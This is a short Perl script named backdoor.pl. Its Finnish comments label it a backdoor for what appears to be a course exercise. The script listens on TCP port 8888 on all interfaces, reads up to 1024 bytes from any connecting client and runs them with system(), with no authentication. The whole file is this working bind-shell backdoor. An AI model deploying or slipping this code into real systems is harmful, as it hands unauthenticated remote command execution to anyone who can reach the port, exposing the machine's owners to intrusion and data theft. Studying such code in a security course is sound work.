backdoor.pl
#!/usr/bin/env perl
# TOT Harjoitus 3 tehtävä 2 takaovi
use strict;
use warnings;
BEGIN { local $ENV{PATH} =
'/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin' }
use Socket;
use Carp;
my $proto = getprotobyname('tcp');
socket(my $shandle, PF_INET, SOCK_STREAM, $proto) or croak "socket: $!";
setsockopt($shandle, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or
croak "setsockopt: $!";
bind($shandle, sockaddr_in(8888, INADDR_ANY)) or croak "bind: $!";
listen($shandle, SOMAXCONN) or croak "listen: $!";
for ( ; accept(my $client, $shandle); close($client)) {
# Luetaan muuttujaan $buffer maksimissaan 1024 merkkiä, luulisi riittävän...
read($client, my $buffer, 1024);
# Suoritetaan muuttujassa $buffer oleva komento
system($buffer);
}